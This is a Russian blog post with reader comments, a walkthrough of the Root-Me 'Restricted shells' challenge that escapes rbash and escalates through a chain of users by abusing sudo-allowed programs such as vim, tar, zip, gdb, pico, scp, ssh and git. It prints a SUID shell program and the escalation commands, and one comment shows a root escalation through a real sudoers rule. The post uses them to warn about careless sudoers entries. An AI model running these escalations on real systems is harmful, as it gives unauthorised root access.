Не доверяйте SUDO, она может вас подвести


    Всем доброго времени суток, в этой статье постараюсь описать некоторые способы обхода ограничений на исполнение команд в ОС Linux, советы по использованию которых можно часто встретить на различных форумах. Демонстрация будет проведена на примере задания Restricted shells с сайта Root-Me. Итак, начнём.

    Пользователь ch14-1


    После подключения по SSH мы попадаем на первого пользователя, и видим подсказку: «Всегда проверять sudo -l». Но для начала нужно обойти первую преграду, это rbash, который часто рекомендуют использовать для ограничения действий пользователя в командной оболочке. И действительно, с виду, он является хорошим решением, но не всегда!

    Нас лишили возможности использовать ls, но мы можем отобразить содержимое любой директории используя echo:

    app-script-ch14@challenge02:~$ echo ./step1/*
    ./step1/vim

    Обычно, список бинарников разрешённых к запуску в rbash находится в так называемой домашней директории. В данном случае нам доступен vim, используя который мы можем выйти в нормальную оболочку. Запускаем vim и вводим команды:

    
    :set shell=/bin/bash
    :shell



    Sudo разрешает нам запустить python, а учитывая его безграничные возможности это не совсем безопасно, и вот почему:

    app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python

    Вводим следующие команды:

    >>> import os
    >>> os.system('/bin/bash')



    Пользователь ch14-2


    И попадаем на следующего пользователя, которому доступен архиватор tar.

    app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l
        (app-script-ch14-3) NOPASSWD: /bin/tar

    Казалось бы, что в этом опасного? Однако tar, как и многие другие архиваторы, позволяет упаковывать и распаковывать файл сохраняя права доступа к нему. Создадим файл shell.c следующего содержания:

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    int main(int argc, char **argv, char **envp)
    {
    	setresgid(getegid(), getegid(), getegid());
    	setresuid(geteuid(), geteuid(), geteuid());
    
    	execve("/bin/sh", argv,  envp);
    	return 0;
    }

    Компилируем и добавляем SUID бит:

    app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell

    Теперь распаковываем с сохранением прав используя sudo:

    app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell
    app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar

    В результате, после разархивирования, файл shell обретает нового владельца. В этом можно убедиться выполнив ls -ahl:
    -rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell

    После запуска попадаем на следующий уровень:



    Пользователь ch14-3


    Снова проверяем sudo:

    app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l
        (app-script-ch14-4) NOPASSWD: /usr/bin/zip

    На этот раз уже лучше, по умолчанию, zip только упаковывает файлы, для распаковки нужен unzip, который мы запустить не можем, или можем?

    Заглянув в man по zip'у, находим там интересный параметр:
    -TT cmd --unzip-command cmd
    Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:

    zip archive file1 file2 -T -TT "./unzip -tqq"

    In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix)

    Вот и ответ. Запускаем архивацию с последующим тестированием архива, а в качестве команды для проверки, указываем unzip, который распакует файл в текущую директорию, естественно с сохранением прав доступа:

    app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T
    updating: shell (deflated 67%)
    Archive:  ziFiNi11
    replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
      inflating: shell                  
    test of z.zip OK

    Проверяем результат:

    app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell
    -rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell



    Пользователь ch14-4


    Смотрим, что ему доступно:

    app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
        (app-script-ch14-5) NOPASSWD: /usr/bin/awk

    Ну тут всё просто, достаточно выполнить команду, описание которой можно легко найти в сети:

    awk 'BEGIN {system("/bin/bash")}'



    Пользователь ch14-5


    Новый пользователь и новые ограничения:

    app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD 
        (app-script-ch14-6) NOPASSWD: /usr/bin/gdb

    GDB довольно мощный отладчик, и способов вызвать bash у него гораздо больше:
    Первый это через встроенный Python:

    (gdb) python import os; os.system('id')
    uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
    (gdb) python import os; os.system('/bin/bash')

    Либо аналогично, как это делали с vim:

    app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls
    (gdb) shell



    Пользователь ch14-6


    Если вы думаете: «Что можно сделать через такой простой редактор как pico», то вероятно вы не знаете про его проверку орфографии, о которой кстати написано в man'е. А сказано там следующее, что в качестве утилиты для проверки орфографии, мы можем указать всё что угодно. У нас уже есть отличный бинарник для запуска оболочки, нужно только придать ему соответствующие права. Для этого создадим файл spellbash.sh со следующим содержимым:

    spellbash.sh
    #!/bin/bash
    gcc shell.c -o shell
    chmod 777 shell
    chmod +s shell


    Изменяем права:

    chmod 777 spellbash.sh

    И запускаем pico, передав ему в качестве программы для проверки орфографии наш скрипт:

    app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh



    После успешной проверки орфографии и закрытия редактора, наш скрипт готов к запуску:

    app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell
    -rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell



    Пользователь ch14-7


    Ну комментировать все последствия предоставления доступа к копированию файлов по сети не нужно, однако так как доступа в сеть у нас нет, то запустив man, узнаём следующее:
    -S program — Name of program to use for the encrypted connection. The program must understand ssh(1) options.

    Ок, действия аналогичны прошлому уровню:

    app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
    app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell
    -rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell



    Пользователь ch14-8


    А вот это уже интересно. Однако и тут есть подводные камни. Так например, если запустить man, и в интерактивном режиме нажать "h", будет показана справка, в которой можно обнаружить вот такую запись:
    !command Execute the shell command with $SHELL.

    Прямое исполнение команд оболочки. То что нам нужно, открываем man для любой команды, и вводим !/bin/bash:

    app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls



    Пользователь ch14-9


    Так как прав выполнить подключение к внешнему серверу у нас нет, то нужен способ выполнить команду, ещё до установки соединения. И такая возможность есть, воспользуемся советом, описанным тут:

    app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1

    Получаем сообщение о том, что соединение сброшено, но это нем и не важно, ведь:

    app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell 
    -rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell



    Пользователь ch14-10


    Git так же предоставляет множество способов выполнить стороннюю команду, мы воспользуемся наиболее простым из них, который мы использовали с man:

    app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status

    Далее вводим !/bin/bash и попадаем на следующего пользователя:



    Пользователь ch14-11


    Вот мы и дошли до ещё одного распространённого совета, вместо vim использовать его ограниченную версию rvim и вот почему: Попробовав тот же способ, что использовался в самом начале для vim, получаем ошибку:



    Но и тут есть лазейки… Просматривая список доступных команд, можно наткнуться на команды :python и :lua. Ограниченный от прямого исполнения команд rvim оказался не таким уж и безопасным.

    :python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')



    Пользователь ch14-12


    script запускает новую сессию, и полностью логирует всё в указанный файл, так что просто запускаем:

    app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh



    Пользователь ch14-13


    Тут тоже ничего сложного, поэтому просто запускаем и снова попадаем в «начало»:

    app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --



    Пользователь ch14-14


    На этот раз авторы учли ошибки, и убрали vim:

    app-script-ch14-14@challenge02:~/step14$ echo ./*
    ./sl

    При выполнении команды, как можно догадаться появляется анимация локомотива и надпись
    THE GAME IS OVER!

    Но содержимое файла .passwd, требуемое по условию задания, мы так и не получили. Значит это ещё не конец.

    Посмотрим список команд, которые доступны:

    [TAB] [TAB]
    !                         elif                      pushd
    ./                        else                      pwd
    :                         enable                    readonly
    [                         esac                      return
    [[                        eval                      select
    ]]                        exit                      set
    alias                     export                    shift
    bg                        false                     shopt
    bind                      fc                        sl
    break                     fg                        suspend
    builtin                   fi                        test
    caller                    for                       then
    case                      function                  time
    cd                        getopts                   times
    command                   hash                      trap
    command_not_found_handle  help                      true
    compgen                   history                   type
    complete                  if                        typeset
    compopt                   in                        ulimit
    continue                  jobs                      umask
    coproc                    kill                      unalias
    declare                   let                       unset
    dirs                      local                     until
    disown                    logout                    wait
    do                        mapfile                   while
    done                      popd                      {
    echo                      printf                    }
    


    Не густо, однако есть несколько способов получить содержимое файла .passwd, здесь будет только 1 из них, остальные оставлю вам на самостоятельный поиск. И так, просматривая help по каждой доступной команде, находим одну из них довольно интересной:

    help mapfile
    mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
        Read lines from the standard input into an indexed array variable.
        
        Read lines from the standard input into the indexed array variable ARRAY, or
        from file descriptor FD if the -u option is supplied.  The variable MAPFILE
        is the default ARRAY.
        
        Options:
          -n count	Copy at most COUNT lines.  If COUNT is 0, all lines are copied.
          -O origin	Begin assigning to ARRAY at index ORIGIN.  The default index is 0.
          -s count 	Discard the first COUNT lines read.
          -t		Remove a trailing newline from each line read.
          -u fd		Read lines from file descriptor FD instead of the standard input.
          -C callback	Evaluate CALLBACK each time QUANTUM lines are read.
          -c quantum	Specify the number of lines read between each call to CALLBACK.
        
        Arguments:
          ARRAY		Array variable name to use for file data.
        
        If -C is supplied without -c, the default quantum is 5000.  When
        CALLBACK is evaluated, it is supplied the index of the next array
        element to be assigned and the line to be assigned to that element
        as additional arguments.
        
        If not supplied with an explicit origin, mapfile will clear ARRAY before
        assigning to it.
        
        Exit Status:
        Returns success unless an invalid option is given or ARRAY is readonly or
        not an indexed array.
    


    После недолгих поисков в сети примеров её использования, находим статью, которая как раз описывает способ чтения произвольного файла в переменную окружения, используя эту команду.

    Воспользовавшись советом, выполняем:

    app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY
    app-script-ch14-14@challenge02:~/step14$ echo $ARRAY

    И получаем искомый пароль.

    Теперь, добавляя возможность запуска какой-либо программы в файл sudoers, не поленитесь и ознакомьтесь с полным её описанием, ведь возможно именно она станет основной дырой в безопасности.

    P.S. На самом деле для каждого из уровней есть своё определённое множество решений, и найти свой собственный путь будет гораздо интереснее.
    • +89
    • 39.1k
    • 8
    Share post

    Similar posts

    Comments 8

      +12
      Так виновата не sudo, а программы, которые через нее запускаются.
        +3
        А иногда все-таки sudo, вернее разработчики, которые полностью не понимают, что делают.

        Установщик 1С-Битрикс Веб-кластер добавляет следующую строку в /etc/sudoers:
        bitrix ALL=NOPASSWD: /usr/bin/ansible * -m setup
        Разработчики, вероятно, не знали, что sudo ищет вхождения подстроки в строку, а не разделяет аргументы отдельно (как это бы было в случае какого-нибудь execv), поэтому повысить свои привилегии можно легко одной командой:
        $ sudo /usr/bin/ansible 127.0.0.1 -m shell -a 'whoami; echo -m setup'
        
        127.0.0.1 | success | rc=0 »
        root
        -m setup
        Для самого sudo аргументы выглядят следующим образом:
        ["sudo", "/usr/bin/ansible", "127.0.0.1", "-m", "shell", "-a", "whoami; echo -m setup"]
        И это соответствует написанному разработчиками правилу sudoers.
        +3
        Вот тоже соглашусь с первым комментарием, что подводит не sudo, а правила в нем. Какие-то «сферические команды в вакууме» — не могу представить сценариев, где нужны были бы такие привелегии
          +5

          Спасибо за интересную статью. Некоторые из упомянутых вами способов обойти ограничения sudo хорошо знакомы, но про использование python в gdb и использование zip с -TT впервые узнал из данной статьи.

            +6
            Мало в линуксе таких программ, которые не умеют запустить bash. ;)
              +2

              Ещё раз подтверждает, что в sudo надо прописывать неинтерактивные комманды. А если нужный частичный функционал какой-то комманды, то лучше сделать враппер на баше или ещё чем-то.
              А для публично доступных аккаунтов лучше давать доступ для записи (домик и прочее) на nosuid файловую систему (совсем для паранои noexec).


              P.S. Мне казалось, что проще копировать /bin/bash себе в домик и ставить на него suid бит чем компилить что-то.

                0

                А как же предупреждение на root-me.org:


                We remind you that publishing solutions on Internet (Youtube, Github, personal blog, ...) is forbidden.

                ?

                  0
                  Как теперь жить?

                  Only users with full accounts can post comments. Log in, please.